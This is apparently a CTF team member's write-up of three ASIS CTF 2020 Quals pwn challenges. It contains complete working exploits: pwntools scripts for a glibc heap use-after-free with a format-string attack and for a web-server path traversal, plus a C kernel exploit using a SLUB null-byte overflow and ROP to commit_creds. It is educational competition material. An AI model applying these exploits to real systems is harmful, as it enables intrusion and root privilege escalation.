ASIS CTF 2020 Quals

Posted on Aug 14, 2020

Defenit과 zer0pts 연합으로 참가해 올클리어 2위로 마무리 했다.

Pwner가 엄청 많았음에도 불구하고 기여를 많이 한 것 같아 좋다.

영어로 좀 적어본다.

Solved : Invisible, tthttpd, Shared House

First Blood : Invisible, Shared House 😆

Invisible [217 pts / 17 solves / First Blood]

Summary

  • Heap Challenge
    • glibc 2.23
      • in 2020 ?????
    • manage up to 2 heap pointers
    • UAF in edit
      • edit(idx, size=0)
        • realloc(ptr, 0) == free(ptr)
        • doesn’t null-out ptr though

Exploit

  1. Heap Fengshui
  2. Fastbin Attack to GOT (0x601ffa)
  3. Overwrite free@got to printf@plt
  4. double-staged FSB challenge now zz lol
  5. Overwrite return address to oneshot
from pwn import *

#context.log_level = 'debug'

def add(idx, size, pay):
    p.sendafter('>', '1')
    p.sendafter(':', str(idx))
    p.sendafter(':', str(size))
    p.sendafter(':', pay)

def edit(idx, size, pay=None):
    p.sendafter('>', '2')
    p.sendafter(':', str(idx))
    p.sendafter(':', str(size))
    if pay:
        p.sendafter(':', pay)

def delete(idx):
    p.sendafter('>', '3')
    p.sendafter(':', str(idx))    

#p = process('./chall')
p = remote('69.172.229.147', 9003)
e = ELF('./chall')
l = e.libc

add(0, 0x50, 'a')
add(1, 0x50, 'a')
edit(0, 0)
edit(1, 0)
edit(0, 0x70, 'b'*8)
edit(1, 0x70, 'a'*8)
delete(0)
delete(1)
add(0, 0x50, p64(0x602002-8))
add(1, 0x50, 'b'*8)
edit(1, 0x30, 'a')
delete(1)
add(1, 0x50, 'a')
edit(1, 0x20, 'a')
delete(0)

pay = 'a'*6
pay += 'a'*8+p64(e.plt['printf'])[:7]

add(0, 0x50, pay)
edit(1, 0x28, '%8$p %11$p')
delete(1)

p.recvuntil('0x')
stack = int(p.recv(12), 16)
ret = stack + 0x8
print hex(stack)

p.recvuntil('0x')
libc = int(p.recv(12), 16) - 0x20830
magic = libc + 0xf1147
print hex(libc)

add(1, 0x78, '%{}c%13$hn'.format(ret&0xffff))
delete(1)
pay = '%{}c%39$hhn'.format(magic&0xff)
add(1, 0x78, pay)
delete(1)

add(1, 0x78, '%{}c%13$hn'.format((ret&0xffff)+1))
delete(1)
pay = '%{}c%39$hhn'.format((magic&0xff00)>>8)
add(1, 0x78, pay)
delete(1)

add(1, 0x78, '%{}c%13$hn'.format((ret&0xffff)+2))
delete(1)
pay = '%{}c%39$hhn'.format((magic&0xff0000)>>16)
add(1, 0x78, pay)
delete(1)

p.interactive()

tthttpd [169pts / 37 solves]

Summary

  • Simple Web server implemented in C
  • Stack BOF but _exit() before return

Intended Solution

  • Use stack overflow to read arbitrary file
    • read /proc/self/maps to get every address base
  • syslog causes FSB
    • blind FSB to overwrite somewhere
    • get shell

So we can read ANY file in the remote server, what if we know the path of the flag?

Unintended Solution

  • Use stack overflow to read arbitrary file
    • read /home/pwn/flag.txt zzzzzzz
from pwn import * 

# context.log_level = 'debug'

p = remote("76.74.170.193", 9006)
# p = process('./tthttpd')

pay = 'GET //\x00'+'a'*0x7f0+'aaaaaaaaa../../../../../../../home/pwn/flag.txt\x00'
pay += '\r\n'
pay += 'connection: keep-alive'
pay += '\r\n\r\n'

# pause()
p.send(pay)

p.interactive()

Shared House [354pts / 7 solves / First Blood]

Summary

  • Kernel Pwn Challenge
    • Mitigation
      • ON
        • KASLR
        • SMEP
      • OFF
        • KPTI
        • SMAP
    • vulnerable module : /root/note.ko
      • Add / Delete / Edit / View note
        • Only manage a single note pointer
        • Add
          • note = kmalloc(0~0x80);
          • if (note) kfree(note);
        • Delete
          • kfree(note);
          • note = NULL;
          • not vulnerable
        • Edit
          • Check if note is allocated
          • Check if size is not bigger than note’s size
          • copy_from_user(note, user, size);
          • *(note+size) = '\x00';
            • Null-byte overflow
        • View
          • Same check with Edit
          • copy_to_user(user, note, size);

So the vulnerability is clear, but what can we do with a single \x00?

We should know how the SLUB allocator manages kernel memory.

slub

As a picture above illustrates, the freelist (something like bin in ptmalloc2) points the first free object in the slab.

Each free object’s first 8 bytes points the next free object’s address (free pointer, fp), therefore it constructs a singly-linked list, just like the fastbin or tcache.

Then when the first free object is allocated, the address is popped from the list so the freelist is set to point the next free object which was previously pointed by the allocated one.

By remote debugging with gef, we can see the slab forming a singly-linked list as told.

0xffff88800e351100:    0xffff88800e351140    0x0000000000000000
0xffff88800e351110:    0x0000000000000000    0x0000000000000000
0xffff88800e351120:    0x0000000000000000    0x0000000000000000
0xffff88800e351130:    0x0000000000000000    0x0000000000000000
0xffff88800e351140:    0xffff88800e351180    0x0000000000000000
0xffff88800e351150:    0x0000000000000000    0x0000000000000000
0xffff88800e351160:    0x0000000000000000    0x0000000000000000
0xffff88800e351170:    0x0000000000000000    0x0000000000000000
0xffff88800e351180:    0xffff88800e3511c0    0x0000000000000000
0xffff88800e351190:    0x0000000000000000    0x0000000000000000
0xffff88800e3511a0:    0x0000000000000000    0x0000000000000000
0xffff88800e3511b0:    0x0000000000000000    0x0000000000000000
0xffff88800e3511c0:    0xffff88800e351200    0x0000000000000000
0xffff88800e3511d0:    0x0000000000000000    0x0000000000000000
0xffff88800e3511e0:    0x0000000000000000    0x0000000000000000
0xffff88800e3511f0:    0x0000000000000000    0x0000000000000000
0xffff88800e351200:    0xffff88800e351240    0x0000000000000000
0xffff88800e351210:    0x0000000000000000    0x0000000000000000
0xffff88800e351220:    0x0000000000000000    0x0000000000000000
0xffff88800e351230:    0x0000000000000000    0x0000000000000000

Freelist : 0xffff88800e3511000xffff88800e3511400xffff88800e351180 → …

When we request 0x40 bytes of memory, 0xffff88800e351100 will be returned and the freelist is set to 0xffff88800e351140, so the memory will be like below:

0xffff88800e351100:    0x4141414141414141    0x4141414141414141
0xffff88800e351110:    0x4141414141414141    0x4141414141414141
0xffff88800e351120:    0x4141414141414141    0x4141414141414141
0xffff88800e351130:    0x0000000000000000    0x0000000000000000
0xffff88800e351140:    0xffff88800e351180    0x0000000000000000
0xffff88800e351150:    0x0000000000000000    0x0000000000000000
0xffff88800e351160:    0x0000000000000000    0x0000000000000000
0xffff88800e351170:    0x0000000000000000    0x0000000000000000
0xffff88800e351180:    0xffff88800e3511c0    0x0000000000000000
0xffff88800e351190:    0x0000000000000000    0x0000000000000000
0xffff88800e3511a0:    0x0000000000000000    0x0000000000000000
0xffff88800e3511b0:    0x0000000000000000    0x0000000000000000
0xffff88800e3511c0:    0xffff88800e351200    0x0000000000000000
0xffff88800e3511d0:    0x0000000000000000    0x0000000000000000
0xffff88800e3511e0:    0x0000000000000000    0x0000000000000000
0xffff88800e3511f0:    0x0000000000000000    0x0000000000000000
0xffff88800e351200:    0xffff88800e351240    0x0000000000000000
0xffff88800e351210:    0x0000000000000000    0x0000000000000000
0xffff88800e351220:    0x0000000000000000    0x0000000000000000
0xffff88800e351230:    0x0000000000000000    0x0000000000000000

Freelist : 0xffff88800e3511400xffff88800e3511800xffff88800e3511c0 → …

In next allocation, 0xffff88800e351140 will be returned from the freelist.

Back to the exploitation; What we can do is overwriting a null byte to the next object, and now we know that it is the lsb of the next free object’s fp!

If the address of our vulnerable object ends with 0x00 like 0xffff88800e351100, we can corrupt the next object’s fp into our allocated object again - you already know what it means 🙂

(Timeline)

Freelist before allocation

0xffff88800e3511000xffff88800e3511400xffff88800e351180 → …

Freelist after allocation

0xffff88800e3511400xffff88800e3511800xffff88800e3511c0 → …

Freelist after the vulnerability is triggered

0xffff88800e3511400xffff88800e3511000xffff88800e3511c0 → …

Freelist after one more allocation

0xffff88800e3511000x4141414141414141

Wait till if any other kernel functions request the same size of object, it will be allocated on our chunk again. (0xffff88800e351100)

Then we can leak or modify the data of the allocated structure, there are some useful structures we can utilize.

struct seq_operations {
 void * (*start) (struct seq_file *m, loff_t *pos);
 void (*stop) (struct seq_file *m, void *v);
 void * (*next) (struct seq_file *m, void *v, loff_t *pos);
 int (*show) (struct seq_file *m, void *v);
};

We can allocate seq_operations structure by fd = open("/proc/self/stat", O_RDONLY);, leak kernel base from any of 4 function pointers, then overwrite (*start) and read(fd, buf, 1) to control RIP.

Reference : https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628

Exploit

  1. Some heap fengshui to get your note allocated on 0x~~~~~00
  2. add_note(0x20)
  3. edit_note(0x20, ‘a’*0x20) to trigger vulnerability.
  4. open("/proc/self/stat", O_RDONLY) twice, second allocation will be on your note.
  5. view_note(0x20, buf) to leak kernel base address.
  6. Construct rop chain, change RIP to xchg eax, esp; ret; for stack pivoting.
  7. ROP to commit_creds(prepare_kernel_cred(0);
  8. Return to user land and ORW the flag.
    • If you call execve to get shell, kernel will crash since the freelist is corrupted.
    • You can restore the freelist slab address (of course needs leakage) if you really wanna get shell.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>

#define ADD 0xC12ED001
#define DEL 0xC12ED002
#define EDIT 0xC12ED003
#define VIEW 0xC12ED004

typedef struct _Arg{
    unsigned long long size;
    char *buf;
} Arg;

Arg user;
int fd;

unsigned long long user_cs, user_ss, user_eflags, user_sp;

void save_tf()
{
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_eflags;"
    );
}

int add_note(unsigned long long size)
{
    user.size = size;
    return ioctl(fd, ADD, &user);
}

int del_note()
{
    return ioctl(fd, DEL, &user);
}

int edit_note(unsigned long long size, char *buf)
{
    user.size = size;
    user.buf = buf;
    return ioctl(fd, EDIT, &user);
}

int view_note(unsigned long long size, char *buf)
{
    user.size = size;
    user.buf = buf;
    return ioctl(fd, VIEW, &user);
}

void shell()
{
  char flag[0x30] = {0,};
  int fd = open("/flag", 0);
  read(fd, flag, 0x30);
  write(1, flag, 0x30);
}

int main()
{
  save_tf();
  char *laterstack = calloc(1, 0x10000);
  user_sp = laterstack+0x8000;

  fd = open("/dev/note", O_RDWR);

  if (fd<0)
  {
      puts("failed to open ko");
      exit(-1);
  }

  char *tmp = calloc(1, 0x2000);
  char *pay = calloc(1, 0x100);

  memset(pay, 0x41, 0x20);

  for (int i=0; i<6; i++)
  {
    open("/proc/self/stat", O_RDONLY); 	
  }

  add_note(0x20);
  edit_note(0x20, pay);

  open("/proc/self/stat", O_RDONLY);
  int victim = open("/proc/self/stat", O_RDONLY);
  view_note(0x20, tmp);

  unsigned long long leak[4] = {0,};

  memcpy(leak, tmp, 0x20);

  printf("leak[0] : %p\n", leak[0]);
  printf("leak[1] : %p\n", leak[1]);
  printf("leak[2] : %p\n", leak[2]);
  printf("leak[3] : %p\n", leak[3]);

  unsigned long long kbase = leak[0] - 0x13be60;
  printf("[*] kernel base addr : %p\n", kbase);

  unsigned long long xchg = kbase + 0x2ce8f;
  unsigned long long prdi = kbase + 0x22dd4b;//0x11c353;
  unsigned long long mov_rdi_rax = kbase + 0x21f8fc;
  unsigned long long swapgs = kbase + 0x3ef24;
  unsigned long long iretq = kbase + 0x600ae7;
  unsigned long long commit_creds = kbase + 0x69c10;
  unsigned long long prepare_kernel_cred = kbase + 0x69e00;

  printf("[*] xchg addr : %p\n", xchg);
  printf("[*] prepare_kernel_cred : %p\n", prepare_kernel_cred);

  getchar();

  unsigned long long rop[] = {
    prdi,
    0,
    0,
    prepare_kernel_cred,
    mov_rdi_rax,
    0x4141414141414141,
    commit_creds,
    swapgs,
    0x4242424242424242,
    iretq,
    &shell,
    user_cs,
    user_eflags,
    user_sp,
    user_ss
  };

  unsigned long long trigger[] = {
    xchg,
    xchg,
    xchg,
    xchg
  };

  unsigned long long *stack = mmap(xchg&0xfffff000-0x2000, 0x5000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  printf("[*] fake stack : 0x%llx\n", stack);
  memcpy(xchg&0xffffffff, rop, sizeof(rop));

  edit_note(0x20, trigger);
  read(victim, tmp, 1); // trigger

  return 0;
}